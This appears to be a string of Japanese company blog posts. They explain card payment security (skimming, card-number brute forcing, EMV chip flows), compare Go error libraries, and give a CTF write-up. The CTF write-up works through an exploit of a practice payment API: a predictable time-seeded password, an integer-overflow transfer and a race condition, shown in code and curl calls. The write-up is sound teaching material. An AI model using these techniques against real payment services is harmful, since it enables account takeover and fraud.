次の図はカード決済の仕組みを説明する際に私がよく出している図です。ブランド、加盟店/アクワイアラ、イシュア、ユーザが登場人物として存在します。ブランドがこの業界の中心にいてプラットフォームとルールの策定をしています。両サイドにアクワイアラとイシュアがいます。アクワイアラはブランドの名前を担いで店舗に「(Visa/Mastercard/JCB...)カード決済できるようにしませんか?」とカードを使える場所を増やすプレイヤーです。ユーザはあまりアクワイアラの存在を意識することがないかもしれません。ユーザはカード会社(イシュア)にカード発行を依頼し、発行が完了するとそのカードが使えるようになります。 まとめると、プラットフォームとルールを提供するブランド、カードを使える場所を増やすアクワイアラ、カードを使う人を増やすイシュア、カードを使うユーザ、が存在していてそこでお金がぐるぐる回るのがこの業界のエコシステムです。

1.2 オーソリゼーション / オーソリ / Authorization

似たような図ですがオーソリという言葉を覚えておいてください。これは実店舗、オンラインショップ関わらず、カードを使ったときにイシュアに飛んでくる電文です。カードのデータ、利用金額、店舗や使われた端末の情報などが入っていて、イシュアはそのデータを見て購入可否を判断して店舗に応答を返します。

1.3 カードに入っている情報

バンドルカードとPoolを例に説明します。

  • バンドルカード

https://kanmu.co.jp/news/20190509-newdesign/

  • Pool

https://pool-card.jp/creditcard/

(1) マグストライプ / 磁気ストライプ

Track データと呼ばれるデータが記録されています。Track データには PAN(カード番号のこと), 有効期限, セキュリティコード(CVV: Card Verificaiton Value。カード裏面の物とは別物。)... といった情報が入っています。Track データの仕様やフォーマットは公開されています(ref: ISO/IEC 7813 - Wikipedia)

(2) 署名

直筆のサイン。店舗で決済をした際に求められるサインと同じもの。

(3) カードホルダ名

ネット決済で入力するものはこちら。アルファベットの姓名。豆知識ですが Dr. のような敬称を入れることも可能です。

(4) PAN (Primary Account Number) / 会員番号

カード番号のことです。 業界内では PAN (パン)と呼ばれます。fPAN (Funding Primary Account Number) と呼ぶビジネスパートナーもいますが、付き合いのある会社では PAN という呼称が主流です。

(5) 有効期限

カードの有効期限です。これも豆知識ですが有効期限とは別に effective date (いつから使えるか?)という概念も存在します。

(6) セキュリティコード / CVV2

3桁の数字。ネット決済で入力を求められるものです。たまにこのカード裏面のセキュリティコードを CVV と説明しているサイトがありますが正式名称は CVV2 です。CVV はマグストライプに埋め込まれているものでこれとは別物になります。マグに記録されたセキュリティコード CVV の方はユーザが意識することはないので、対ユーザ向けにセキュリティコードと言うとこちらのカード裏面のものを指すのが一般的です。ビジネスパートナー間では CVV と CVV2 を言い間違えると認識齟齬に繋がったりします。また Visa ブランドでは CVV ですが Mastercard ブランドでは同様のものは CVC と呼ばれたりします。

(7) IC チップ

さて IC チップです。カンムでは Pool の方には搭載されています。ICチップには何が入っているか?ですが、まずはマグストライプと同様に Track データが入っています。こちらにも3桁のセキュリティコードが入っているのですがこちらは iCVV と呼ばれています。これの値もまた CVV, CVV2 とは別です。ややこしいですね。加えて IC チップには PIN (4桁の暗証番号)、 証明書、暗号鍵... などマグにはないデータ、さらに ATC (Application Transaction Counter)という決済回数を記録するカウンタ, PIN入力失敗回数を記録するカウンタ, その他大量の設定が入っています。 その他大量の設定というのは、例えばですが、話が一瞬店頭のカード端末の方に移るのですが、店頭のカード端末にはフロアリミットといって利用可能金額の上限値のような設定が入っていたりします。ICチップにはそれを超過した利用金額だった場合どうするか?というような設定があります。設定値はイシュアが IC チップを作る際に決定していて、前述の例の場合、決済拒否する?そのままイシュアにオーソリを投げる?というような挙動が決められています。他にも CVN (Cryptogram Version Number)と呼ばれる IC を使った決済の時にオーソリとともにイシュアに飛んでくるクリプトグラム(後述: オーソリの正当性を検証するために使う暗号文のようなものです)のバージョンを示す物など、普段カードユーザが意識することはないシステム的な情報も含まれます。

豆ですが PIN は4桁の暗証番号と書きましたが4桁以上にすることも仕様上は可能だったりします。また ICチップでの決済を行った際に加算されるカウンター、ATC の存在を書きましたがこれは2バイトのキャパシティがあり上限は 0xFFFF = 65535 です。つまりタッチ決済を含むICチップ決済を65535回以上行うとこのカウンタの上限を突破します。これを超えるとたぶんそのカードでの IC 決済は不可能になります。カードの有効期限を5年とした場合、IC を使った決済を毎日36回やり続けると5年以内にこれに到達する計算になります。

ATC はカード利用控えに印字されることもあります。次のカード利用控えに記載されている ATC 003E は 0x3E = 62 回目の IC 決済であることを示しています。16進数ではなく10進数で印字される場合もあります。

内部仕様をずけずけと書いて大丈夫か?と思うかも知れませんが、これらはカンム独自の仕様でもビジネスパートナーの仕様でもなく後述する EMV という公開された業界統一仕様です。

(8) ICチップが非接触決済 (タッチ)対応しているという意味のマーク

これは人間のためのマークです。ここに何かのデータが入っているわけではないです。

私の推測を含めた小ネタですが、カード端末側の話になってしまうのですが、端末にもこのマークがついていたりします。以前 Twitter で決済端末にこのマークがついているのに店員がタッチ決済させてくれなかった、というぼやきを見たことがあります。端末の方だとこのマークがついているのはハードウェアが非接触インターフェイスを備えているという意味であって、ソフトウェアであったり店舗側の業務も対応しているかは別問題です。なのでそのような場合は単純に店員が知らなかった可能性ももちろんありますが、業務が対応できていないという可能性も十分にあります。

2. マグストライプの問題点と対策

最も古典的なカード決済手段であるマグストライプの問題点とその対策について書きます。 マグストライプを使った決済はカードの磁気部分をカード端末にスワイプしてそのデータを読み取ります。ここの部分には Track データと呼ばれる PAN や有効期限が刻まれたデータが入っていることは述べました。これが端末から読み取られてイシュアに決済金額などとともにオーソリとして飛んできます。イシュアはカードが有効期限を超過していないか?CVVが正しいか?金額が利用可能枠内に収まっているかなどをチェックして問題なければ商品の購入ができます。

ここで主にセキュリティの面からみた問題点は次の2つになります。

本人確認が店員の裁量に任されているという点

マグストライプを使った決済の本人確認はどうしているのでしょうか?「サイン」です。そして店員はそのサインがカード裏面の署名と一致しているかどうかを目視で確認します。マグストライプはカード決済の中では最も古い決済手段で歴史を考えれば仕方がないことなのかもしれませんが、今の時代からすると一驚の本人確認方法になります。マグストライプ決済の仕組み上、イシュアはオーソリ時の本人確認プロセスに参加することができません。また、図中ではサインによる本人確認をしてからオーソリという形で書きましたが店頭のオペによってはオーソリを飛ばしてから事後にサインを求めるケースもあるかもしれません。

スキミングに対して脆弱な点

マグストライプにはセキュリティコード CVV が刻まれています。これは磁気データを偽装したとしても CVV が不一致であれば偽物されたカードであるという判定をすることに役立ちます。磁気カードは簡単に作れることに加えて Track データの配列も公開されています。そのため適当な PAN や盗んだ PAN を磁気データに入れたカードは比較的簡単に作ることができてしまいますが CVV でその正当性を確認するという仕組みです。 しかしいわゆるスキミングはどうでしょうか。マグストライプの Trackデータは平文がそのまま入っているため適当なカードリーダで読み取ると CVV を含めマグストライプのデータすべてをキャプチャすることができます。かなり昔からスキミング被害はカード業界やユーザを悩ませる種として存在しています。PCに接続できるカードリーダーも安価に手に入れることができるため今でもポピュラーな脅威として存在しています。もしそのようなデバイスを持っている方で興味がある人は試してみてください。カードリーダを PC に接続して外付けキーボードとして認識させてからマグをスワイプするとキーイベントが上がってきます。Linux であれば linux/input.h を利用してキーイベントを拾えるのでご自身の持っているカードのマグに何が入っているかを見ることができます。このようにマグストライプは非常に単純です*1

脅威は盗難、スキミングです。ユーザができる対策としては盗難の被害にあったらスマホから即座に利用停止にできるようなカードを使うことくらいでしょうか。またスキミングされて突如高額の請求が来てしまった場合はすぐにカード会社に身に覚えのない決済の申告をすることです。カード会社の裁量や、カード会社と不正利用のあった加盟店間で行われる業務プロセス(チャージバックと呼ぶ)の状況にも依りますが全額返ってくることもあります。イシュア、加盟店といったサービス提供側ができる対策としては PIN 入力ありの IC 決済をなるべく使ってもらうことです。

イシュアが単独でできる対策としては決済トランザクションの異常検知があります。金額的、地理的、時間的な不自然さをモニタリングすることで不正防止につなげることができます。例えば日本の実店舗で1000円の決済トランザクションが発生した10分後に同様のカードでアメリカの実店舗で10ドルの決済トランザクションが発生したら不自然である、というような。

3. オンライン決済の問題点と対策

オンライン決済についても同様に書きます。こちらはオンラインショップのサイトに PAN, 有効期限, CVV2 を手入力して決済を行います。マグストライプが Track データや決済金額をオーソリに乗って飛んでくるのと同様、こちらは手入力されたデータがオーソリに乗って飛んできます。本人確認は強いて言うなら CVV2 の入力でしょうか。セキュリティコードの用途はあくまでカードの正当性だと自分は理解しています。なので図中には本人確認という文言は入れておりません。

ここで問題点は次の通り。

ブルートフォース攻撃に弱い点

カード番号にはある程度の法則性があり、また有効期限は4桁の数字、CVV2 は3桁の数字なので単純なブルートフォース攻撃で不正被害を受けることがあります。これはクレジットマスター攻撃と呼ばれていてポピュラーな不正手段です。店頭で人力で決済を行うのではなくウェブで行うことができるのでちょっとパソコンに詳しい攻撃者がプログラマブルに不正を仕掛けることもできます。

カード番号、有効期限、CVV2 といったカード両面の情報を記憶されると不正利用ができてしまう点

ブルートフォース攻撃以前にそもそも他人にカード番号と有効期限とCVV2を記憶されてしまうとそれだけで不正利用されてしまいます。記憶力という武器を使った次のような事件も起きています。

www.gizmodo.jp

ユーザ、イシュア、加盟店それぞれが行うべき対策としては、決済時にワンタイムパスワードを使うようにする、3D セキュアに対応する、などがあります。ユーザ、イシュア、加盟店それぞれと書いたのは、これらの対策はまずイシュア・加盟店双方が対応している必要があるというのと、ユーザがカード発行時やその後の設定、ECサイトでの設定でワンタイムパスワードを使うというような設定があった場合、それらを有効にしておく必要があり、サービス提供側、ユーザ側それぞれ合わせ技の対策を講じておく必要があるためです。 バンドルカードと Pool はともに 3D セキュアに対応しています。そちらの詳細は https://tech.kanmu.co.jp/entry/2022/06/27/135210 をご覧ください。3D セキュアは簡単に言うと、オンライン決済で購入ボタンを押下したあとにカード会社からカードを発行する際に設定したパスワードや、登録した電話番号に SMS が飛んできてそれを入力してその認証が通れば本丸の決済に進むことができるような仕組みです。ちなみに3Dセキュアも正確に言うと EMV 3Dセキュアと呼ばれ、後述する統一された業界仕様になります。

加えてですが、イシュア単独でできる対策も存在しています。例えばマグストライプ同様に決済トランザクションの異常検知やモニタリング、CVV2 や有効期限を連続で何回か間違えたらロックをかけるなどです。

4. ICチップの統一規格EMVの登場

ここで IC チップの登場です。現在、ほとんどのカード会社において IC チップは標準的に搭載されるようになっています。ICチップの目的の1つはマグストライプの欠点を埋める、つまりセキュリティの強化です。サインのみで本人確認がされていたのに対し、IC 使用時は4桁の暗証番号(PIN)の入力が必要になります。手書きのサイン+店員による目視確認と比べるとより確実な本人確認となります。 その IC チップですが各ブランドやカード会社が独自に開発しているわけではありません。EMV と呼ばれる統一規格をもとに開発をしています。この規格は Europay International, Mastercard, Visa が共同で策定したためその頭文字をとって EMV と呼ばれています。ICチップ搭載のカードはEMV対応カードと呼ばれたりもします。「1.2 カードに入っている情報」で少し触れた ATC, CVN や PIN の誤り回数のカウンタなどの仕様は EMV で決められています。おそらく Mastercard や JCB ブランドのカードの IC チップにも同じようなものが入っているでしょう。EMV の仕様書は次のサイトからダウンロードすることができます。

www.emvco.com

5. ICチップ決済の処理フロー

ICチップを使った決済の処理フローは次の通りです。先述のマグストライプ、オンライン決済と比べると少し複雑になっています。図は EMV のドキュメントから拝借しています。

EMV 4.3 Book 3 Application Specification

まずカードをカード端末に挿します。するとカード端末が IC の情報を読み出し -> Data Authentication (カードの正当性の確認) -> Cardholder Verification (本人認証: PIN の入力など) -> 後のフェーズの挙動を決定する処理(Terminal Risk Management, Terminal Action Analysis, Card Action Analysis) -> 必要であれば Online Processing & Issuer Authentication (取引認証: オーソリの正当性の確認とオーソリ自体の処理)と Script Processing を行う -> 買い物OK/NG という流れとなります。

もう少しわかりやすく本記事の趣旨になる部分のみを強調して書くとこうなります。

5.1 Data Authentication カード認証

Data Authentication は我々はカード認証と呼んでいます(正確にいうとカード認証の一部ですが...)。これは何かというと IC に仕込まれた証明書をカード端末が検証するフェーズです。マグストライプではCVV を利用して偽装防止を行いますが、IC では証明書の検証によって IC が偽装されていないかをチェックします。仕様のポイントとしてはここで検証 NG になってもエラーになるとは限らないという点です。IC に入っている設定の1つとして、もし Data Authentication でNGになったらどうするのか?という設定があります。この設定によって Data Authentication がNG の場合にそのまま次のフェーズに進むのか?NGとして拒否するのか?が決まっています。次のフェーズに進む、にしてある場合、最終的には Online Processing & Issuer Authentication のフェーズでオーソリに Data Authentication の結果が入ってくるのでイシュアはそれをちゃんと見てOK/NGを判断する必要があります。

5.2 Cardholder Verification 本人認証

続いて Cardholder Verification 、つまり本人認証です。PINを入力するのが主流ですが、IC や 端末の設定であったり店員のオペであったりによりこれは可変します。たとえば IC を挿入したけどレシートやタブレットにサインを書き、結局はサインによる本人確認が行われるケースもあります。皆様も経験があるかもしれません。 また、逆に例えば普段コンビニでカードを使うと PIN を求められることはあまりないと思いますが、ためしに高額の買い物(たしか合計10000円以上)をしてみてください。ICチップかつPIN入力必須の処理に移行すると思います。状況によって求められる本人認証方法が変わるのがこのフェーズの特徴です。 PIN 入力の場合、ユーザが PIN を入力してそれが照合されると本人確認がOKとなり次のフェーズに進みます。ちなみに PIN の照合ですが、場合によってはイシュアに PIN が飛んできてそれの照合をイシュアが行うケースもあります(オンラインPINと呼ぶ)。オンラインPIN の場合は次の Issuer Authentication のフェーズでオーソリとともに暗号化されたPINが飛んでくるのでそれを復号してユーザがカード発行時に設定したPINと一致しているかを確認する必要があります。

5.3 Issuer Authentication 取引認証

最後は Online Processing & Issuer Authentication です。オーソリ自体の処理(利用枠内の決済金額か?有効期限は過ぎていないか?etc)に加えて、オーソリの正当性を検証するフェーズです。IC には証明書や各種設定が入っている旨述べましたが、カード固有の鍵もいくつか入れてあります。このフェーズではそのうちの鍵の1つである ICC Master Key と呼ばれるものを利用して、端末の情報とICの情報、買い物金額などの情報から ARQC (Authorization Request Cryptogram)と呼ばれるクリプトグラムが生成されます、この生成には 3DES などの一般的な暗号化アルゴリズムが用いられます。AES ではなく 3DES というのが気になる点ですが、秘匿化するために暗号化を施しているというよりはクリプトグラムを生成する過程で暗号化アルゴリズムを利用しているので問題はないかもしれません。 イシュアはオーソリとともに飛んできた ARQC を検証し、オーソリ自体が改ざんされていないかのチェックを行います。イシュア側での検証は、イシュア側でも ICC Master Key を使って同様のアルゴリズムで ARQC の生成を行いそれの照合を行う形となります。こちらのアルゴリズムについても EMV の仕様書に詳細が書かれているので興味がある方は追ってみてください。

5.4 その他の処理

Terminal Risk Management, Terminal Action Analysis, Card Action Analysis, Script Processing についても少し触れておきます。Terminal Risk Management, Terminal Action Analysis, Card Action Analysis は購入金額であったり、端末に挿入されたカードのICチップの設定や決済の履歴(前回の決済のOK/NG結果は記録されているはず)、Data Authentication の結果がどうだったか、などを総合してそこでなんらかの制限をかけたり、 Online / Offline Decision の分岐を決めるようなフェーズです。Online / Offline Decision の分岐で Offline となった場合はオーソリがイシュアに飛んでこないケースもあると思われます。カンムの IC の設定は必ずオーソリをオンラインに飛ばす設定で作ってありますがオフラインで完結するケースも例外としてあります。オフラインで完結した場合、後日飛んでくる実売り上げ (https://tech.kanmu.co.jp/entry/2021/06/29/131649 の「1.2. オーソリとクリアリング」参照)で決済金額が確定します。

Script Processing ですが、カンムのカードにはその仕組みを入れていないのであまり詳しく調べていないのですが、イシュア側から IC チップのデータを操作するような仕組みです。PIN入力失敗回数を記録するカウンタが IC に入っていることは述べました。PIN 入力を連続で間違えるとカウントアップしていき、それが閾値(これも IC に入ってます)を超えるとICチップの利用が制限されます。閾値に到達する前に正しい PIN が入力されるといったんリセットされるのですが、閾値に到達してしまい制限がかかってしまった場合はどうやってリセットするのでしょうか?ここで登場するのが Script Processing のフェーズで実行される Issuer Script という仕組みです。これを使うと PIN 入力失敗回数が上限に達した場合もそれをリセットすることができます。カンムのカードは実装していないので、連続で間違えるとカードが使えなくなり再発行する流れになります。推測ですが、おそらく多くのカード会社はこれを実装していないと思います。他社のカードについて調べると、PIN を複数回連続で間違えてロックがかかった場合は再発行します、と書かれている会社が多いので。

6. タッチ決済の処理フロー

タッチ決済のフローですが「5. ICチップ決済の処理フロー」のフロー図とほぼ同じで、ここから本人認証をスキップしたものがタッチ決済のフローになるイメージです。ただ正確にいうと Cardholder Verification は行われるため、リスク分析の結果として PIN ありの IC に移行する可能性もあります。セキュリティの向上のために IC チップ搭載のカードが登場したが今度は利便性のためにPIN入力をスキップしたタッチ決済が後から登場するのがおもしろいところです。

7. まとめ

  • 各種決済手段のセキュリティ的な問題点とその対策について説明した。
  • マグストライプは本人確認がサインの目視確認という点で弱く、スキミングの脅威もある。
  • オンライン決済は本人確認がなく、強いて言うなら CVV2 の入力だが、ブルートフォース攻撃に弱く、カード券面を見られてそれを記憶されてしまうと不正利用できてしまう。
  • 対策方法は存在しているがイシュア側や加盟店側の対策に加えてユーザ自身も不正利用のリスクを意識する必要がある。
  • IC はマグストライプの弱点であるセキュリティ面の強化がされていて、カード認証、本人認証、取引認証という概念がある。カード認証によりチップの改ざん検知を、本人認証にPINが使えることによりサインよりも強力な本人確認を、取引認証でオーソリの完全性を担保することができる。

最後はお約束のこちら↓になります。個人的には今は泥臭い不正対策で頑張っているのでそこをリッチにしていきたいと思っています。それをやりたいような人に来てもらえると嬉しいです。マグストライプのセキュリティの弱さを埋めるために IC が登場しましたがこちらにももちろん穴はあり、また不正利用のトレンドや手段は年々変わるのでイシュアとして常にそれをモニタリングして防御する必要があり、そこもやっていきたいです。

kanmu.co.jp

おわり

*1:なおスキミングは犯罪です。本記事から得られた知識を悪用した場合の責任は一切負いません。

次なる`pkg/errors`を探して

エンジニアの宮原です。 今回はGoでスタックトレースを取得するライブラリ選定についての記事です。
この記事は 【Gophers Talk】スポンサー4社による合同LT & カンファレンス感想戦で発表したものです。 発表スライドはこちらから確認できます。

この記事の目的

この記事ではpkg/errorsからの移行先を探すための参考情報を提供することを目的とします。 Goのエラーハンドリングのやり方等についてこの記事では触れないこととします。

pkg/errors とはなにか

pkg/errorsとは、githubのREADMEを引用すると

Package errors provides simple error handling primitives.

とあり、直訳すると、「エラーハンドリングの基礎を提供するパッケージ」となります。 pkg/errorsを利用することで、Go本体にはないスタックトレースを簡単に実現できます。 また、Go1.20でJoinが追加されるまでは、標準errorsのスーパーセットとなっていたという点も特徴でした。

pkg/errors からなぜ移行するのか

重複する記述になってしまいますが、Go1.20で標準errorsに更新が入り、pkg/errorsとの間に差分が発生しました。 この差分は解消する見込みがありません。プロジェクトとしてPublic Archiveとなってしまっているからです。

Public Archiveとなった経緯についてすこし補足します。
前回の標準errorsの更新(Go1.13)で修正の元となったGo2 Draft Designs というドキュメントがあります。このドキュメントではいずれGo本体からスタックトレースが提供されることが示されました。 つまり、将来的にpkg/errorsが不要になることがほぼ確定しました。そのタイミングでpkg/errorsはメンテナンスモードになり、さらにすすんで2021年12月にPublic Archiveに至った、という経緯のようです。

移行先に求めるもの

3 点あります。

「移行のしやすさ」は、標準errors、pkg/errorsとの互換性です。 ここでいう互換性とは、「関数、メソッドのシグニチャが一致しているか」、「機能をもれなくカバーしているか」といった点を想定しています。 Go本体への追従のしやすさを高めることと、今回の移行作業のコストを抑えることにつながります。

スタックトレースのサポート」は pkg/errorsがカバーしていた範囲を引き継ぐ必要があるためです。スタックトレースは、バグ解消に直結する情報を含むので重要です。

「性能が大きく劣化しないこと」は速い方がいい、メモリフットプリントは小さいほどよい、というシンプルな理由です。

移行の選択肢

最終的な候補となったのは以下2つのライブラリでした。

これらを深く見ていく前に、検討したものの詳しい調査の対象外としたライブラリについて触れておきます。

一度候補となったものの、細かい調査の対象外としたもの

xerrorsについて。Goチームが提供していたライブラリです。レポジトリのREADMEから確認できますが、このライブラリはGo1.13までの橋渡しとしての位置付けであり、すでに役割を終えたと言えるでしょう。すでに大部分がdeprecatedにもなっており、これから採用するべきではないと判断しています。

morikuni/failureについて。エラーコードベースのハンドリングを前提としており、pkg/errorsとは使われ方が異なるので、今回は移行のハードルが高いと判断しました。以下リンクが参考になります。 https://future-architect.github.io/articles/20200522/ https://speakerdeck.com/morikuni/designing-errors?slide=33

標準ライブラリを使った自前実装について。スタックトレースにたいして固有の要件というのはなく、改めて開発するメリットが薄いため、除外としています。

ということで、再掲ですが、最終的な候補ふたつcockroachdb/errorsgoark/errsを「 移行のしやすさ」、「スタックトレースのサポート」、「性能が大きく劣化しないこと」の点で評価していきます。

移行先の評価

前述した要件について箇条書きで記載します。

cockroachdb/errorsの評価

  • 移行のしやすさ
    • pkg/errorsのスーパーセットとなっており、基本的にはパッケージを切り替えるのみで、ほとんど置き換え作業が終わる点は魅力的です。
    • Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があるものの、issueで対応中のようでした。
  • スタックトレースのサポート
    • サポートされています。
  • 性能が大きく劣化しないこと

goark/errsの評価

  • 移行のしやすさ
    • pkg/errorsとは、New、Wrapなど一部の関数は互換性あります。
    • Go1.20で実装されたJoinが未実装のため、標準errorsとは差分があります。
  • スタックトレースのサポート
    • サポートされています。
  • 性能が大きく劣化しないこと

ベンチマーク

性能評価のために、簡易なベンチマークを取りました。
benchmarkのテストコード、結果はこちらです。
「ネストしたerror生成時の速度とフットプリント」、「スタックトレース出力時の速度とフットプリント」の2つのケースについて、結果を抜粋して見ていきます。

※以下の結果は、マイクロベンチマークであり、実際の環境では異なる結果となる可能性があることに注意してください。

ネストしたerror生成時の速度とフットプリント

package ns/op B/op allocs/op
pkg/errors 8240 304 3
cockroachdb/errors 8640 416 7
goark/errs 7885 648 7

cockroachdb/errorsは、速度約5%pt、メモリ使用量約37%pt悪化、
goark/errsは、速度約4.5%pt改善、メモリ使用量は約2倍に悪化
という結果となりました。

スタックトレース出力時の速度とフットプリント

package ns/op B/op allocs/op
pkg/errors 12849 3716 33
cockroachdb/errors 14867 17222 22
goark/errs 1896 1401 33

cockroachdb/errorsは、速度が約15%pt、メモリ使用量が約4.6倍に悪化、
goark/errsは、速度が約6倍改善、メモリ使用量は63%pt改善
という結果となりました。

最後に結果をまとめた表を示します。

評価まとめ

package 標準errorsとの互換性 pkg/errorsとの互換性 スタックトレースのサポート 性能
errors(比較用) - - -
pkg/errors (比較用) ❌※1※2 - ⭕️ baseline
cockroachdb/errors 🔺※1 ⭕️ ⭕️ 🔺
goark/errs 🔺 ※1 🔺 ⭕️ ⭕️
  • ※1: いずれもGo1.13時点でのIs, As, Unwrap対応済み. Go1.20時点でのJoinは未実装
  • ※2: 今後もサポートされる見込みがないため、相対的に悪い評価をつけている

記事のまとめ

今回は最終的にcockroachdb/errorsがpkg/errorsの移行先の本命と評価しています。
移行のしやすさ(互換性)の面では、pkg/errorsのスーパーセットとなっており、置き換えが容易である点を評価しました。 性能については悪化するものの、自社でのAPIサーバーとしてのユースケースでは、ネットワーク往復の時間が支配的であることから劣化は問題ない範囲であると判断しました。

最後に、今回の評価が唯一の正解ではありません。それぞれの文脈、ユースケースを踏まえたうえで、ベストな選択肢を検討することが重要です。 上記はライブラリ選定の一例として参考していただけると幸いです。

Go Conference 2023 CTF: 標準ライブラリの利用ミスに関わる脆弱性

セキュリティエンジニアの宮口です。 Go Conference 2023にてCTFの問題を用意させていただきました。

問題はこちらになります。

github.com

本記事では出題の意図、想定解などを解説します。 解けた方も解けなかった方もぜひ読んでみてください!

1. 問題の解説

今回出題した問題は、バンドルカードのような決済系のアプリケーションを想像して作成しました。 ユーザーが出来る操作は限られていて、以下の操作のみ可能です。

  • パスワードリセット
  • 残高確認
  • 送金

この問題では、残高が9,999,999を超えたときに残高確認APIにアクセスすることでフラグが出力されるようになっています。 まず既存のアカウントにアクセスすることを目指してもらい、次に残高を増やすことを目指してもらうという2段構成になっています。

2. 出題の意図

2021年頃に標準ライブラリにおける既知の脆弱性を利用した問題を出題していました。

tech.kanmu.co.jp

ここから発展させて何かできないかを考えて、 「言語や標準ライブラリに脆弱性がなくとも、標準ライブラリの利用方法によっては脆弱性になりうる」 というメッセージを伝えられる問題になれば良いなと考えて問題を作成しました。

3. 想定解

ここからは想定解の解説を行います。 想定解は以下の通りです。

  1. math/randの脆弱なシードを使って既存のアカウントにアクセス
  2. Integer overflowを使ってお金の増殖
  3. TOCTOUでアカウントの上限金額をバイパス

これらについて、順番に解説します。

1. math/randの脆弱なシードを使ってアカウントにアクセス

このAPIにはアカウント登録機能がありません。 残高確認や送金を行うためには、既存のアカウントにアクセスする必要があります。

アカウント名はハードコーディングされているためすぐに分かりますが、パスワードはgeneratePassword関数で生成されているため、すぐには分かりません。

パスワードが更新されているのは、初回起動時とパスワードリセットAPIの2箇所のみです。

users[req.Id].Password = generatePassword(time.Now().Unix())

パスワードリセットAPIに注目してみると、精度が秒のUnixtimeが利用されており、推測可能です。

以下のようなコードでパスワードを取得できます。

password := generatePassword(time.Now().Unix())
passwordReset(&User{Id: "alice"})
passwordReset(&User{Id: "bob"})
fmt.Println(password)

これで alice / bob のアカウントにアクセスできるようになりました。

2. Integer overflowを使ってお金の増殖

alice / bob のアカウントにアクセスできるようになりましたが、aliceもbobもお金を持っていないようです。 何かしらの脆弱性を悪用してお金を増やさなければなりません。 3つある機能のうち、お金の増減があるのは送金機能のみなので、ここに注目します。

まずは適当に送金してみます。

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "1"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: Qam86lQgE6c2' -d '{"recipient_id": "bob", "amount": "-1"}'
{"error": "Amount validation failed: -1"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: FuPaccCEi9sr' -d '{"recipient_id": "bob", "amount": "9999999999999"}'
{"error": "Insufficient balance"}

[~]$ curl -XPOST http://localhost:8080/transfer -H 'X-ID: alice' -H 'X-Password: VBjIzAlNLhXj' -d '{"recipient_id": "bob", "amount": "-9999999999999"}'
{"error": "Amount validation failed: -1316134911"}

いろんな数値を試しながら送ってみると、-9999999999999を送金しようとしたときに-1316134911という数値がエラーメッセージに出ていることに気づきます。

なにやら数値がオーバーフローしていそうなので、送金する数値をうまく調整することでお金を生み出せそうです。

from := &User{Id: "alice", Password: "VBjIzAlNLhXj"}
to := &User{Id: "bob", Password: "VBjIzAlNLhXj"}

transfer(from, to, strconv.Itoa(math.MinInt64+1000000))

「int64型の最上位bitのみ立っている数値 (math.MinInt64) + 送金したい金額」を送ることで、バリデーションをすり抜けてお金を増やすことができました。

3. TOCTOUでアカウントの上限をバイパス

このアプリケーションには、アカウントの上限金額が設定されているため、最後にこれをバイパスしなければなりません。

   if users[to].Balance+int32(amount) > 9999999 {

コードを読んで気づくしか無いのですが、実は送金APIにはロックがありません。 そのため並列に送金APIを呼び出すと、上記のバリデーションをすり抜けてしまいます。

goroutineを使って、並列に送金APIを呼び出してみます。(環境や設定によっては並列で動かない場合もあります。)

var wg sync.WaitGroup
for i := 0; i < 10; i++ {
    wg.Add(1)
    go func() {
        defer wg.Done()
        transfer(from, to, strconv.Itoa(math.MinInt64+1000000))
    }()
}
wg.Wait()

flag, _ = balance(to)
fmt.Println(flag)

これでフラグゲットです!お疲れさまでした!

4. 終わりに

CTFは楽しんでいただけたでしょうか!

カンムではエンジニアを募集中です!今回のイベントをきっかけにカンムに少しでも興味を持った方は、ぜひカジュアル面談でお話しましょう。

kanmu.co.jp

最後に、今回も素晴らしい Go Conference の場を提供してくれた運営のみなさま、参加者のみなさま、どうもありがとうございました!